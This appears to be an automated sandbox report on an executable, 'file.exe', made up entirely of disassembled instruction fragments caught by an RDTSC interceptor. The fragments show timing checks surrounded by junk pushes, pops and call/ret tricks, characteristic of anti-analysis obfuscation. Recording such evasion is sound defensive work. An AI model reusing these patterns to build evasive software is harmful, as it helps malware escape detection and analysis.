Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7942E1 second address: 794356 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007F701CDA8A68h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 00000018h 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 jmp 00007F701CDA8A70h 0x00000027 lea eax, dword ptr [ebp+1248605Bh] 0x0000002d jmp 00007F701CDA8A77h 0x00000032 nop 0x00000033 pushad 0x00000034 jmp 00007F701CDA8A76h 0x00000039 push eax 0x0000003a push edx 0x0000003b jnl 00007F701CDA8A66h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 794356 second address: 770A59 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F701CDC837Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push esi 0x0000000c jng 00007F701CDC8378h 0x00000012 push eax 0x00000013 pop eax 0x00000014 pop esi 0x00000015 nop 0x00000016 or dword ptr [ebp+122D2E99h], eax 0x0000001c call dword ptr [ebp+12461050h] 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F701CDC8380h 0x00000029 jmp 00007F701CDC8388h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7947FA second address: 794800 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 794A12 second address: 794A16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 794A16 second address: 794A5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F701CDA8A78h 0x0000000b popad 0x0000000c xor dword ptr [esp], 14CC710Ah 0x00000013 jmp 00007F701CDA8A6Eh 0x00000018 call 00007F701CDA8A69h 0x0000001d jo 00007F701CDA8A74h 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 794A5C second address: 794A88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F701CDC8376h 0x0000000a popad 0x0000000b push eax 0x0000000c jbe 00007F701CDC83A9h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F701CDC8388h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 794A88 second address: 794AAE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F701CDA8A75h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e js 00007F701CDA8A6Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 794AAE second address: 794AC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 jl 00007F701CDC8376h 0x0000000b pop ecx 0x0000000c popad 0x0000000d mov eax, dword ptr [eax] 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 794AC3 second address: 794ADE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F701CDA8A77h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 794BE4 second address: 794C00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F701CDC837Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b jc 00007F701CDC8388h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 794C00 second address: 794C04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 794D5F second address: 794D63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 794D63 second address: 794D69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 794D69 second address: 794D91 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jno 00007F701CDC8376h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e js 00007F701CDC8378h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F701CDC8380h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79546F second address: 79547D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F701CDA8A6Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7958A7 second address: 79592B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F701CDC8382h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007F701CDC8378h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 mov dword ptr [ebp+124594D3h], ebx 0x0000002a mov edx, dword ptr [ebp+122D2BB3h] 0x00000030 lea eax, dword ptr [ebp+1248605Bh] 0x00000036 push 00000000h 0x00000038 push edx 0x00000039 call 00007F701CDC8378h 0x0000003e pop edx 0x0000003f mov dword ptr [esp+04h], edx 0x00000043 add dword ptr [esp+04h], 00000014h 0x0000004b inc edx 0x0000004c push edx 0x0000004d ret 0x0000004e pop edx 0x0000004f ret 0x00000050 mov edx, dword ptr [ebp+122D192Bh] 0x00000056 nop 0x00000057 jmp 00007F701CDC8381h 0x0000005c push eax 0x0000005d push ecx 0x0000005e push eax 0x0000005f push edx 0x00000060 pushad 0x00000061 popad 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79592B second address: 79592F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 750E7D second address: 750E84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 750E84 second address: 750E8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 750E8A second address: 750E94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F701CDC8376h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 750E94 second address: 750E98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 750E98 second address: 750EAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F701CDC8376h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jl 00007F701CDC8376h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 750EAC second address: 750EB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C3AFE second address: 7C3B0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F701CDC837Ah 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C3B0E second address: 7C3B18 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F701CDA8A6Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CD701 second address: 7CD71A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F701CDC8376h 0x00000009 jmp 00007F701CDC837Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CD71A second address: 7CD72B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jo 00007F701CDA8A66h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CD72B second address: 7CD72F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CDB18 second address: 7CDB28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 jp 00007F701CDA8A66h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CDF5A second address: 7CDF70 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F701CDC8378h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d je 00007F701CDC8376h 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE22E second address: 7CE232 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE232 second address: 7CE242 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F701CDC837Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE242 second address: 7CE24B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE39F second address: 7CE3A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE4EF second address: 7CE4F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE4F4 second address: 7CE4FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CE681 second address: 7CE6A6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b jmp 00007F701CDA8A78h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CEB10 second address: 7CEB34 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F701CDC8376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b ja 00007F701CDC839Ah 0x00000011 push eax 0x00000012 push edx 0x00000013 jnc 00007F701CDC8376h 0x00000019 jmp 00007F701CDC837Bh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CD3EC second address: 7CD3F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D4D44 second address: 7D4D5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F701CDC8381h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D4099 second address: 7D409D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D409D second address: 7D40A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D3840 second address: 7D3846 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D44DE second address: 7D44F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jmp 00007F701CDC8381h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D44F6 second address: 7D44FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D4637 second address: 7D4641 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F701CDC8376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D6E73 second address: 7D6E77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D6E77 second address: 7D6E80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push esi 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D6E80 second address: 7D6E88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D6FEA second address: 7D6FFA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 push esi 0x00000006 pop esi 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a jbe 00007F701CDC8376h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DE7B2 second address: 7DE7BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DE925 second address: 7DE92F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F701CDC837Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DE92F second address: 7DE93D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F701CDA8A66h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DEBE7 second address: 7DEBF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DEBF5 second address: 7DEBF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DEBF9 second address: 7DEC0E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F701CDC837Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DEC0E second address: 7DEC1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 ja 00007F701CDA8A66h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DEC1A second address: 7DEC34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F701CDC8386h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DEEDD second address: 7DEEE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DEEE3 second address: 7DEEFD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F701CDC8384h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DF021 second address: 7DF025 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DF025 second address: 7DF02B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DF02B second address: 7DF040 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F701CDA8A71h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DF040 second address: 7DF07A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F701CDC8380h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007F701CDC837Ah 0x00000013 jmp 00007F701CDC8388h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E0A52 second address: 7E0A68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F701CDA8A72h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E0A68 second address: 7E0A97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F701CDC8388h 0x00000009 jmp 00007F701CDC8383h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E3DA1 second address: 7E3DA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E3DA7 second address: 7E3DAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E3DAD second address: 7E3DCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F701CDA8A71h 0x0000000c push edi 0x0000000d jng 00007F701CDA8A66h 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E3694 second address: 7E36A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F701CDC8381h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E381C second address: 7E384F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jng 00007F701CDA8A66h 0x0000000f jc 00007F701CDA8A66h 0x00000015 jmp 00007F701CDA8A79h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d push edx 0x0000001e pop edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E384F second address: 7E3853 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E3B01 second address: 7E3B06 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5424 second address: 7E5429 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E9D57 second address: 7E9D72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F701CDA8A77h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E9F67 second address: 7E9F73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E9F73 second address: 7E9F77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E9F77 second address: 7E9F9D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F701CDC8383h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a ja 00007F701CDC8376h 0x00000010 jbe 00007F701CDC8376h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA273 second address: 7EA27E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA27E second address: 7EA290 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F701CDC837Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA290 second address: 7EA2A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F701CDA8A6Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA2A3 second address: 7EA2B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F701CDC837Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA2B6 second address: 7EA2BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA2BF second address: 7EA2C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA422 second address: 7EA445 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007F701CDA8A66h 0x0000000d jmp 00007F701CDA8A76h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA445 second address: 7EA449 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA449 second address: 7EA462 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F701CDA8A6Eh 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA462 second address: 7EA468 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA5A3 second address: 7EA5AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EA5AD second address: 7EA5B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F701CDC8376h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EB2EF second address: 7EB2F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EB2F3 second address: 7EB2FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F701CDC8376h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F493F second address: 7F4944 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F4944 second address: 7F4966 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F701CDC8386h 0x00000009 jno 00007F701CDC8376h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F57B7 second address: 7F57BC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5D93 second address: 7F5D97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
